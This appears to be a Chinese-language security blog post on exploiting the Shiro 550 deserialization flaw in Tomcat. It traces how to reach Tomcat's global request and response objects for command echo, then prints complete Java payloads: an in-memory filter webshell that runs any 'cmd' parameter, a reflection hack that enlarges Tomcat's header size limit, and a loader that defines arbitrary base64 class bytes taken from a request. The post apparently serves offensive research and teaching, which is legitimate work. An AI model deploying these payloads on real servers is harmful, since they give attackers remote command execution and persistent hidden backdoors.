0x00 前言
在上一篇文章中,我们简单的分析了 Shiro 550 漏洞的成因,同时学习了 l1nk3r 师傅提出的 shiro 检测,目前很多shiro的利用都是选择 dnslog 带出,直接盲打等操作,那么如果 shiro 在不出网的情况下,那么将结果外带这条路是走不通的,盲打的话我们也不能保证我们使用的链存在,只能通过时延来确定我们的命令是否执行成功,所以这上面的这些情况下,回显似乎是反序列化漏洞中最好的一种解决方案,所以本文就来学习一下 Litch1 师傅提出的 Tomcat 的一种通用回显示的思路,同时借着 shiro 我们来进行内存马的注入的学习
但是由于 tomcat 7 结构不同,所以导致本方法会拿不到我们想要的结果
0x01 Tomcat 通用回显(Tomcat 7 不行)
Litch1 师傅的思路是寻找一个跳脱出框架的即在 Tomcat 中全局存储 request 和 response 的变量,主要目标是寻找 tomcat 中哪个类会存储 Request 和 Response
分析
发现在创建的过程中会调用 Http11Processor 类的构造函数
Http11Processor 继承自 AbstractProcessor 类,在 AbstractProcessor 类中发现有 Request 和 Response 的属性,同时还是 final 的,那么就意味着一旦赋值那么就不会更改了
那么我们就来看一下 tomcat 是如何进行 request 和 response 赋值的
首先在 org.apache.coyote.AbstractProtocol#process 中会调用 createProcessor 方法进行创建
然后在 org.apache.coyote.http11.AbstractHttp11Protocol#createProcessor 中会调用构造函数
由于 Http11Processor 的父类是 AbstractProcessor 所以这里会调用父类的构造函数
在 AbstractProcessor 的构造函数中会初始化 Request 和 Response 然后赋值给 AbstractProcessor 的 request 和 response 属性
赋值前:
赋值后:
至此我们的 request 和 response 就初始化完毕了,所以现在我们只要获取了 Http11Processor ,那么我们就能获取到我们的 Request 和 Response
所以接下来我们的目标就是寻找哪里存储了我们的 Processor,发现在 AbstractProtocol中的子类ConnectionHandler中的 register 方法,会将 processor 作为参数进行传入
跟进 register 方法,发现会从 processor 中获取到 RequestInfo 请求信息 rp,然后调用 setGlobalProcessor 将我们的 rp 存入子类ConnectionHandler 的 global 属性中
由于 ConnectionHandler 的 global 属性被 final 所修饰,所以也就意味着存入之后就不会进行改变
跟进 RequestInfo#setGlobalProcessor 函数查看是如何进行添加的
发现调用了 RequestGroupInfo#addRequestProcessor 将我们的 rp 进行添加
跟进 addRequestProcessor 发现会将 rp 添加到 processors 数组中,也就是添加到 global 的 processors 中
至此我们已经将 processor 存储到了 AbstractProtocol$ConnectoinHandler 的 global 中
所以现在我们获取了 AbstractProtocol$ConnectoinHandler 之后我们就可以利用反射获取到其 global 属性,然后再利用反射获取 gloabl 中的 processors 属性,然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
AbstractProtocol$ConnectoinHandler———->global————>RequestInfo———->Request————>Response
那么接下来我们就需要寻找存储着 AbstractProtocol 类的地方,或者其子类也可以
发现在 Connector 中有与 AbstractProtocol 相关的属性 ,我们的 AbstractProtocol 是 ProtocolHandler 接口的实现类
所以我们只要获取了 Connector 就可以利用反射获取其 protocolHandler 属性
所以我们现在的调用链变成了如下这样
Connector——->AbstractProtocol$ConnectoinHandler———->global————>RequestInfo———->Request————>Respons
那么我们的 Connector 从哪里获取呢
在 Tomcat 启动的过程中,org.apache.catalina.startup.Tomcat#setConnector 会将 Connector 存储到 StandardService 中
所以我们就可以从 StandardService 中获取到我们的 Connector
所以最后我们的调用链是如下所示
StandardService—->Connector—->AbstractProtocol$ConnectoinHandler—->RequestGroupInfo(global)—->RequestInfo———->Request————>Response
StandardService
具体可看 Tomcat 的启动过程:https://blog.csdn.net/sunyunjie361/article/details/58588033
StandardService 是 Service 的实现类,Service 主要由多个 Connector 和 一个 Container 组成,主要负责处理所有 Connector 所获取到的请求,所以可从 StandardService 中获取到 Connector
那么如何获取到 StandardService 呢?
通过 Thread.currentThread().getContextClassLoader() 获取上下文中的 StandardService
WebappClassLoader
文章链接:https://www.cnblogs.com/aspirant/p/8991830.html
由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制,如果使用了双亲委派,那么如果存在两个 WebApp 一个是 CommonsCollections 3.2 的版本,另一个是 CommonsCollections 3.1 的版本,由于类加载机制是利用全限定类名来进行加载的,这两个而又是相同的,所以最终导致只会加载其一个版本,这显然不是 Tomcat 想要实现的效果
Tomcat 隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader,WebappClassLoader 会加载 `/WebApp/WEB-INF/*`中的Java类库,是各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见
说了那么多其实就是我们可以通过 WebappClassLoaderBase 来获取 Tomcat 上下文的联系
所以最终的调用链是如下:
WebappClassLoaderBase —-> ApplicationContext(getResources().getContext()) —-> StandardService—->Connector—->AbstractProtocol$ConnectoinHandler—->RequestGroupInfo(global)—->RequestInfo———->Request————>Response
0x02 内存马注入
环境以及内存马注入的利用和步骤都放在 Github 上了,因为放在文中篇幅真的太长了…
github:https://github.com/KpLi0rn/ShiroVulnEnv
在三梦师傅的代码基础上进行了简单修改
我这里是利用 cc11 结合进行注入的
Poc:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
public class TomcatMemShellInject extends AbstractTranslet implements Filter{
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "evilFilter";
static {
try {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(filterName) == null){
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
Filter MemShell = new TomcatMemShellInject();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName, MemShell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null){
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
但是由于我们的内存马加密之后篇幅太长了,已经超过 Header 的最长长度了,所以我们需要利用一些方法来绕过这些限制
绕过之后即可正常回显,具体绕过方式会在下面介绍
0x03 Header 长度限制绕过
修改 max size 注入
这个也是 Litch1 师傅在文章提出的一种姿势,通过修改 Tomcat Header 的 maxsize 来进行绕过,同样的我这里也是结合 cc11 进行注入
先放代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
通过反射修改 改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制
(失败了) 利用 CloassLoader 加载来绕过长度限制
看到网上的文章还有利用 ClassLoader 来进行绕过的,通过注入一个 Loader 然后来获取请求包中的 特定参数的内容然后进行加载,
我本地尝试发现执行命令还是可以的,利用 Loader加载 成功弹出了计算器
但是当我尝试注入内存马的时候每次注入进去就会出现下图这种情况卡住了。。就很迷惑然后也不知道为什么,打算后面再看看了。。
Loader.java
Ps: 请求url中带上demo才会加载
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyLoader extends AbstractTranslet {
static {
try {
String pass = "loader";
System.out.println("Loader load.....");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (connectors[i].getScheme().contains("http")) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
getHandlerMethod.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);
java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
//通过QueryString筛选
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
if (requestInfo.getCurrentUri().contains("demo")){
System.out.println("success");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData = request.getParameter("classData");
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
Class.forName(cc.getName());
break;
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
0x04 总结
文中介绍的通用回显并不适用于 Tomcat 7,同时 cc11 也需要额外的 CommonsCollections 的依赖,所以还是有一些小缺憾,在查看 Shiro attack 这个工具的源码过程中发现该工具作者中使用了一条通用的方法在 Tomcat 7 中仍然适用,同时 p牛也在知识星球中提出了不依赖任何额外依赖,Shiro 自身的一条利用链,这些会在下一篇文章讲到
最后再次感谢 Litch1 师傅提出的思路